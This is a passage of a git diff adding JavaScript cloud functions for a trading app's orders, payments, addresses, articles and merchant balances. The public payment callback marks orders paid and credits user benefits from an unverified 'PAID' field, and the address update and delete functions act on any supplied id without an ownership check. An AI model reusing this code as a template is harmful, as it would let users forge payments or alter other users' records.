+
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getFactory.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getFactory.js
new file mode 100644
index 0000000..45023cf
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getFactory.js
@@ -0,0 +1,30 @@
+'use strict';
+const dbName = require("../../../../dao/config");
+module.exports = {
+ /**
+ * 企业用户列表
+ * @url client/user/pub/getCompany 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageSize = 500, pageIndex = 1} = data;
+ let res = {code: 0, msg: ""};
+ const whereJson = {
+ factoryStatus: 1
+ }
+
+ // 业务逻辑开始-----------------------------------------------------------
+ res = await vk.baseDao.select({
+ dbName: dbName.user,
+ whereJson,
+ pageSize,
+ pageIndex,
+
+ });
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getList.js
new file mode 100644
index 0000000..179f7d4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/getList.js
@@ -0,0 +1,50 @@
+'use strict';
+module.exports = {
+ /**
+ * 获取商家列表
+ * @url client/user/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ let { dcloud_appid, appids } = data.formData || {};
+ let whereJson = {
+ accountType: _.in([1, 2]),
+ fadadaConfirm: true
+ };
+ if (dcloud_appid) {
+ if (dcloud_appid === "___empty-array___") {
+ whereJson["dcloud_appid"] = [];
+ } else if (dcloud_appid === "___error___") {
+ whereJson["dcloud_appid"] = _.and(_.exists(true), _.nin(appids));
+ } else if (dcloud_appid === "___non-existent___") {
+ whereJson["dcloud_appid"] = _.exists(false);
+ } else {
+ whereJson["dcloud_appid"] = _.or(_.eq(dcloud_appid), _.exists(false));
+ }
+ }
+ let dbName = "uni-id-users";
+ res = await vk.baseDao.getTableData({
+ dbName,
+ data,
+ whereJson,
+ sortArr: [{ "name": "register_date", "type": "desc" }],
+ // 副表列表
+ foreignDB: [{
+ dbName: "opendb-app-list",
+ localKey: "dcloud_appid",
+ foreignKey: "appid",
+ localKeyType: "array",
+ as: "appList",
+ limit: 500
+ }],
+ });
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/pay.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/pay.js
new file mode 100644
index 0000000..0f336f1
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/pay.js
@@ -0,0 +1,387 @@
+'use strict';
+const dbName = require("../../../../dao/config");
+const dayjs = require("dayjs");
+module.exports = {
+ /**
+ * 企业用户列表
+ * @url client/user/pub/getCompany 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let res = {code: 0, msg: ""};
+
+ const order = await vk.baseDao.findByWhereJson({
+
+ dbName: "jjx-order",
+ whereJson: {
+ orderNo: data.orderNo,
+ }
+ });
+
+ // type 0: 商品
+ // type 1: 自营
+ // type 2: 保证金
+ // type 3: 会员升级
+ // type 7: 询价次数
+
+ // orderStatus 0待支付 1已支付待发货 2已发货待收货 3已收货待完成 4已完成 5退款审核中 6退款成功 7退款失败
+ if (order && order.orderStatus === 0 && data.billStatus === 'PAID') {
+ const billPayment = JSON.parse(data.billPayment)
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 1,
+ payTime: billPayment.payTime,
+ payAmount: parseFloat(billPayment.receiptAmount) / 100,
+ payNo: billPayment.paySeqId,
+ }
+ });
+
+ if ([2, 3, 11, 12, 13].includes(order.type)) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+ }
+ if (order.type === 0) {
+ const goodsList = await vk.baseDao.select({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ console.log('goodsList', goodsList)
+ for (let i = 0; i < goodsList.rows.length; i++) {
+ const orderGoods = goodsList.rows[i];
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-goods",
+ whereJson: {
+ _id: orderGoods.goodsId,
+ }
+ });
+ console.log('goods', goods)
+ if (!goods.sales) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-goods",
+ id: orderGoods.goodsId,
+ dataJson: {
+ sales: 1,
+ }
+ });
+ } else {
+ await vk.baseDao.updateById({
+ dbName: "jjx-goods",
+ id: orderGoods.goodsId,
+ dataJson: {
+ sales: _.inc(1),
+ }
+ })
+ }
+ }
+ }
+ if (order.type === 2) {
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ paidEnsure: _.inc(goods.goodsPrice),
+ }
+ });
+ } else if (order.type === 3) {
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ const userLevelConfig = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: goods.goodsId,
+ }
+ });
+ const dataJson = {
+ userLevel: goods.goodsId,
+ userGrade: 0,
+ upgradeExpiredAt: vk.pubfn.getOffsetTime(new Date(), {
+ year: 1,
+ mode: "after",
+ })
+ }
+ if (userLevelConfig.ensureAmount && userLevelConfig.ensureAmount > 0) {
+ dataJson.paidEnsure = _.inc(userLevelConfig.ensureAmount)
+ }
+ const user = await vk.baseDao.updateAndReturn({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: order.uid,
+ },
+ dataJson
+ });
+ const messageConfig = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ dataJson: {
+ uid: order.uid
+ }
+ });
+
+ if (!messageConfig) {
+ await vk.baseDao.add({
+ dbName: "jjx-message-config",
+ dataJson: {
+ uid: order.uid,
+ article: true,
+ process: true,
+ old: true,
+ enquiry: true,
+ productList: [],
+ addressList: [],
+ tradeSelf: true,
+ tradePlatform: true,
+ doNotDisturbRange: [],
+ tradeAmount: [],
+ }
+ })
+ }
+ } else if (order.type === 7) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ // 单次
+ if (goods.goodsId === '6587b034466d41a591df881c') {
+ // 仅针对单条询价次数
+ if (goods.isSingleQuote) {
+ const checkData = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-quote-num",
+ whereJson: {
+ uid: order.uid,
+ type: goods.type,
+ sheetId: goods.sheetId,
+ }
+ });
+ await vk.baseDao.add({
+ dbName: "jjx-user-quote-num",
+ dataJson: {
+ num: checkData ? _.inc(1) : 1,
+ type: goods.type,
+ sheetId: goods.sheetId,
+ uid: order.uid,
+ }
+ });
+ } else {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ remainQuoteNum: _.inc(1)
+ }
+ });
+ }
+ } else {
+ const amountItem = await vk.baseDao.findById({
+ dbName: 'jjx-quote-num-config',
+ id: goods.goodsId
+ })
+ const user = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: order.uid
+ });
+ let quoteExpiredAt = vk.pubfn.getOffsetTime(new Date(), {
+ day: amountItem.day,
+ mode: "after",
+ })
+ if (user.quoteExpiredAt) {
+ if (dayjs(user.quoteExpiredAt).isAfter(dayjs())) {
+ vk.pubfn.getOffsetTime(dayjs(user.quoteExpiredAt).toDate(), {
+ day: amountItem.day,
+ mode: "after",
+ })
+ }
+ }
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ quoteExpiredAt
+ }
+ });
+ }
+ } else if (order.type === 8) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+
+ const hasData = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-spot-ad",
+ whereJson: {
+ uid: order.uid,
+ province: goods.goodsId
+ }
+ })
+ let topExpiredAt = vk.pubfn.getOffsetTime(new Date(), {
+ month: goods.num,
+ mode: "after",
+ })
+
+ if (!hasData) {
+ await vk.baseDao.add({
+ dbName: "jjx-spot-ad",
+ dataJson: {
+ uid: order.uid,
+ province: goods.goodsId,
+ topExpiredAt
+ }
+ })
+ } else {
+ topExpiredAt = vk.pubfn.getOffsetTime(hasData.topExpiredAt, {
+ month: goods.num,
+ mode: "after",
+ })
+ await vk.baseDao.updateById({
+ dbName: "jjx-spot-ad",
+ id: hasData._id,
+ dataJson: {
+ topExpiredAt
+ }
+ })
+ }
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-spot-goods",
+ id: goods.pk,
+ dataJson: {
+ topExpiredAt
+ }
+ });
+ } else if (order.type === 9) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-old",
+ id: goods.goodsId,
+ dataJson: {
+ isUrgent: true
+ }
+ })
+ } else if (order.type === 10) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-order",
+ id: order._id,
+ dataJson: {
+ orderStatus: 4
+ }
+ });
+
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ remainOldNum: _.inc(1)
+ }
+ });
+ } else if (order.type === 11) {
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ remainArticleDownloadNum: _.inc(1)
+ }
+ });
+ } else if (order.type === 12) {
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ const contract = await vk.baseDao.findById({
+ dbName: "jjx-contract",
+ id: goods.goodsId
+ });
+ const canDownloadUidList = []
+ if (!contract.canDownloadUidList) {
+ canDownloadUidList.push(order.uid)
+ } else {
+ canDownloadUidList.push(...contract.canDownloadUidList, order.uid)
+ }
+ await vk.baseDao.updateById({
+ dbName: "jjx-contract",
+ id: goods.goodsId,
+ dataJson: {
+ canDownloadUidList
+ }
+ });
+ } else if (order.type === 13) {
+ const goods = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-goods",
+ whereJson: {
+ orderId: order._id,
+ }
+ });
+ const qyb = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-qyb",
+ whereJson: {
+ _id: goods.goodsId
+ }
+ });
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",
+ id: order.uid,
+ dataJson: {
+ qybNum: _.inc(qyb.getNum)
+ }
+ });
+ }
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/qqAuth.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/qqAuth.js
new file mode 100644
index 0000000..23aac22
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/qqAuth.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/user/kh/qqAuth 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ const redirect_uri = 'http://static-mp-0737e52b-fffa-4223-bcdf-d4ad3d9968a5.next.bspapp.com'
+
+ res = await vk.request({
+ url: 'https://graph.qq.com/oauth2.0/authorize?response_type=code&client_id=101795826&state=jjx&redirect_uri=' + encodeURIComponent(redirect_uri),
+ method: 'GET',
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/test.js b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/test.js
new file mode 100644
index 0000000..e17fbc0
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/user/pub/test.js
@@ -0,0 +1,23 @@
+'use strict';
+module.exports = {
+ /**
+ * 此函数名称
+ * @url client/user/pub/test 前端调用的url参数地址
+ * data 请求参数
+ * @params {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, originalParam } = event;
+ let { customUtil, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code : 0, msg : '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ // 可写与数据库的交互逻辑等等
+
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/addUpdate.js b/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/addUpdate.js
new file mode 100644
index 0000000..ff744ff
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/addUpdate.js
@@ -0,0 +1,46 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/userAddress/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (data.isDefault) {
+ await vk.baseDao.update({
+ dbName: "jjx-user-address",
+ whereJson: {uid},
+ dataJson: {isDefault: false}
+ });
+ }
+
+ if (vk.pubfn.isNotNull(data.id)) {
+ await vk.baseDao.updateById({
+ dbName: "jjx-user-address",
+ id: data.id,
+ dataJson: data
+ });
+ } else {
+ const count = await vk.baseDao.count({
+ dbName: "jjx-user-address",
+ whereJson: {uid}
+ });
+ data.isDefault = count === 0 ? true : data.isDefault;
+ await vk.baseDao.add({
+ dbName: "jjx-user-address",
+ dataJson: {...data, uid}
+ });
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/delete.js
new file mode 100644
index 0000000..afc3d34
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/delete.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/userAddress/kh/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.deleteById({
+ dbName: "jjx-user-address",
+ id: data.id,
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/getList.js
new file mode 100644
index 0000000..93d6fb8
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userAddress/kh/getList.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/userAddress/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.select({
+ dbName: "jjx-user-address",
+ whereJson: {
+ uid
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/action.js b/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/action.js
new file mode 100644
index 0000000..da94d20
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/action.js
@@ -0,0 +1,45 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, _id, title, content} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ if (vk.pubfn.isNotNull(_id)) {
+ await vk.baseDao.update({
+ dbName: 'jjx-user-article',
+ whereJson: {
+ _id,
+ uid
+ },
+ dataJson: {
+ uid,
+ title,
+ content,
+ isShow: 1
+ }
+ })
+ }else {
+ const addRes = await vk.baseDao.add({
+ dbName: 'jjx-user-article',
+ dataJson: {
+ uid,
+ title,
+ content,
+ isShow: 1
+ }
+ })
+ console.log(addRes)
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/delete.js
new file mode 100644
index 0000000..15c3da3
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/delete.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, _id} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.del({
+ dbName: "jjx-user-article",
+ whereJson: {
+ uid, _id
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/getList.js
new file mode 100644
index 0000000..8547899
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/kh/getList.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-user-article",
+ whereJson: {
+ uid
+ }
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/pub/getList.js
new file mode 100644
index 0000000..c39e9bc
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userArticle/pub/getList.js
@@ -0,0 +1,32 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/factory/kh/addUpdate 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, userId} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.select({
+ dbName: "jjx-user-article",
+ pageIndex: 1, // 当前第几页
+ pageSize: 10,
+ whereJson: {
+ uid: userId,
+ isShow: 1
+ },
+ sortArr: [
+ { name: "_id", type: "desc" }
+ ],
+ });
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userBalanceLog/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/userBalanceLog/kh/getList.js
new file mode 100644
index 0000000..deb5e10
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userBalanceLog/kh/getList.js
@@ -0,0 +1,171 @@
+'use strict';
+
+/**
+ * 余额记录改为读取订单付款单(jjx-order-pay-list)。
+ * 只允许查询当前登录用户作为卖家的付款单,避免客户端伪造 uid 查询其他用户数据。
+ */
+module.exports = {
+ /**
+ * @url client/userBalanceLog/kh/getList 前端调用的url参数地址
+ * @param {Object} data
+ * @param {String} data.queryDate 查询日期,格式 yyyyMMdd
+ */
+ main: async (event) => {
+ const {data = {}, userInfo = {}, util} = event;
+ const {vk, _} = util;
+ const sellerUid = userInfo._id || userInfo.uid;
+ const pageIndex = Math.max(parseInt(data.pageIndex, 10) || 1, 1);
+ const pageSize = Math.min(Math.max(parseInt(data.pageSize, 10) || 10, 1), 1000);
+
+ if (!sellerUid) {
+ return {code: 0, msg: '', rows: [], total: 0, pageIndex, pageSize};
+ }
+
+ const requestedDate = String(data.queryDate || '').trim();
+ let dateText = /^\d{8}$/.test(requestedDate) ? requestedDate : formatDate(new Date());
+ let dateRange = getDateRange(dateText);
+ if (!dateRange) {
+ dateText = formatDate(new Date());
+ dateRange = getDateRange(dateText);
+ }
+ const whereJsonArr = [{sellerUid}];
+
+ // _add_time 是付款单的创建时间,按所选日期过滤;保留 _add_time_str 兼容历史字符串数据。
+ if (dateRange) {
+ whereJsonArr.push(_.or([
+ _.and([
+ {_add_time: _.gte(dateRange.start)},
+ {_add_time: _.lt(dateRange.end)}
+ ]),
+ _.and([
+ {_add_time: _.gte(dateRange.start.getTime())},
+ {_add_time: _.lt(dateRange.end.getTime())}
+ ]),
+ _.and([
+ {_add_time_str: _.gte(dateRange.startText)},
+ {_add_time_str: _.lt(dateRange.endText)}
+ ])
+ ]));
+ }
+
+ const result = await vk.baseDao.select({
+ dbName: 'jjx-order-pay-list',
+ getCount: true,
+ whereJson: _.and(whereJsonArr),
+ sortArr: [{name: '_add_time', type: 'desc'}],
+ pageIndex,
+ pageSize
+ });
+
+ const rows = Array.isArray(result.rows) ? result.rows : [];
+ let merNo = String(userInfo.merNo || '').trim();
+ if (!merNo) {
+ const currentUser = await vk.baseDao.findById({dbName: 'uni-id-users', id: sellerUid});
+ merNo = String((currentUser && currentUser.merNo) || '').trim();
+ }
+
+ // 银联交易明细查询(202007)按 seqId 查询。单条查询失败不影响其他记录返回。
+ await Promise.all(rows.map(async (row) => {
+ const notifyData = parseObject(row.payNotifyData);
+ const seqId = notifyData && notifyData.seqId;
+ if (seqId && merNo) {
+ try {
+ row.flowData = await vk.request({
+ url: 'http://jjx-union-pay.gxwebsoft.com/api/union-pay-jjx/getFlow',
+ method: 'POST',
+ dataType: 'json',
+ header: {'content-type': 'application/json; charset=utf-8'},
+ data: {
+ accNo: merNo,
+ transDate: dateText,
+ // 202007 查询项约定:A-请求流水号(seqId)。
+ queryItem: 'A',
+ queryValue: String(seqId)
+ },
+ timeout: 60000
+ });
+ row.flowStatus = pickFlowValue(row.flowData, ['orderStatus', 'transStatus', 'status', 'respCode']);
+ row.flowErrMsg = pickFlowValue(row.flowData, ['errMsg', 'respMsg', 'msg', 'message']);
+ } catch (error) {
+ row.flowError = error && error.message ? error.message : '流水状态查询失败';
+ }
+ }
+
+ // 给原余额记录表保留一组兼容字段,同时返回付款单原始字段供页面使用。
+ row.reqJournalNo = row.reqJournalNo || row.orderNo || row.orderId || row._id;
+ const amountYuan = row.amount !== undefined && row.amount !== null
+ ? Number(row.amount)
+ : Number(row.payAmount || 0) / 100;
+ row.orderAmt = (Number.isFinite(amountYuan) ? amountYuan : 0) * 100;
+ row.orderStatus = normalizeOrderStatus(row.flowStatus, row.hasPaid, row.status);
+ row.errMsg = row.errMsg || row.flowErrMsg || row.refuseReason || '';
+ row.tradeTime = row.paidAt || row._add_time_str || row._add_time || '';
+ row.payerName = row.payerName || row.buyerName || '';
+ row.payerAcctNo = row.payerAcctNo || '';
+ }));
+
+ return {
+ ...result,
+ rows,
+ pageIndex,
+ pageSize
+ };
+ }
+};
+
+function parseObject(value) {
+ if (!value) return null;
+ if (typeof value === 'object') return value;
+ if (typeof value !== 'string') return null;
+ try {
+ const parsed = JSON.parse(value);
+ return parsed && typeof parsed === 'object' ? parsed : null;
+ } catch (e) {
+ return null;
+ }
+}
+
+function pickFlowValue(value, keys) {
+ const objects = [value, value && value.data, value && value.info, value && value.content]
+ .filter(item => item && typeof item === 'object' && !Array.isArray(item));
+ for (const object of objects) {
+ for (const key of keys) {
+ if (object[key] !== undefined && object[key] !== null && object[key] !== '') return object[key];
+ }
+ }
+ return '';
+}
+
+function normalizeOrderStatus(flowStatus, hasPaid, localStatus) {
+ if (flowStatus !== undefined && flowStatus !== null && flowStatus !== '') {
+ const status = String(flowStatus);
+ if (/^[0-4]$/.test(status)) return Number(status);
+ if (['SUCCESS', 'TRADE_SUCCESS', 'PAID', '00'].includes(status.toUpperCase())) return 1;
+ if (['FAIL', 'FAILED', 'TRADE_FAIL', 'CLOSED'].includes(status.toUpperCase())) return 2;
+ }
+ // 付款单 status 0~4 表示支付流程阶段,并非银联失败码;只要已进入已支付流程即展示成功。
+ if (hasPaid === true || Number(localStatus) > 0) return 1;
+ return 0;
+}
+
+function formatDate(date) {
+ const year = date.getFullYear();
+ const month = String(date.getMonth() + 1).padStart(2, '0');
+ const day = String(date.getDate()).padStart(2, '0');
+ return `${year}${month}${day}`;
+}
+
+function getDateRange(dateText) {
+ const year = Number(dateText.slice(0, 4));
+ const month = Number(dateText.slice(4, 6));
+ const day = Number(dateText.slice(6, 8));
+ const start = new Date(year, month - 1, day);
+ if (Number.isNaN(start.getTime()) || start.getFullYear() !== year || start.getMonth() !== month - 1 || start.getDate() !== day) {
+ return null;
+ }
+ const end = new Date(start.getTime());
+ end.setDate(end.getDate() + 1);
+ const startText = `${year}-${String(month).padStart(2, '0')}-${String(day).padStart(2, '0')} 00:00:00`;
+ const endText = `${end.getFullYear()}-${String(end.getMonth() + 1).padStart(2, '0')}-${String(end.getDate()).padStart(2, '0')} 00:00:00`;
+ return {start, end, startText, endText};
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/userBalanceLog/kh/getMerchantBalance.js b/uniCloud-tcb/cloudfunctions/router/service/client/userBalanceLog/kh/getMerchantBalance.js
new file mode 100644
index 0000000..058abd0
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/userBalanceLog/kh/getMerchantBalance.js
@@ -0,0 +1,55 @@
+'use strict';
+
+const balanceUtil = require('../../../admin/finance/balance/sys/util.js');
+
+module.exports = {
+ /**
+ * 查询当前用户商户的实时余额。
+ * @url client/userBalanceLog/kh/getMerchantBalance 前端调用的url参数地址
+ * @param {String} accNo 企业用户号/商户号
+ */
+ main: async (event) => {
+ const { data = {}, userInfo = {}, util } = event;
+ const { vk } = util;
+ const requestedAccNo = String(data.accNo || '').trim();
+ const userAccNo = String(userInfo.merNo || '').trim();
+
+ // 商户号来自当前登录用户,避免通过客户端参数查询其他企业的余额。
+ if (requestedAccNo && userAccNo && requestedAccNo !== userAccNo) {
+ return {
+ code: 403,
+ msg: '无权查询该商户余额'
+ };
+ }
+ const accNo = userAccNo || requestedAccNo;
+
+ if (!accNo) {
+ return {
+ code: -1,
+ msg: 'accNo不能为空'
+ };
+ }
+
+ const remoteResponse = await balanceUtil.requestMerchantBalance({
+ vk,
+ accNo
+ });
+ const merchantBalance = balanceUtil.getRemoteMerchantBalance(remoteResponse);
+
+ if (merchantBalance === null) {
+ return {
+ code: -1,
+ msg: (remoteResponse && (remoteResponse.msg || remoteResponse.message)) || '未获取到余额'
+ };
+ }
+
+ return {
+ code: 0,
+ msg: '',
+ data: {
+ accNo,
+ balance: merchantBalance
+ }
+ };
+ }
+};
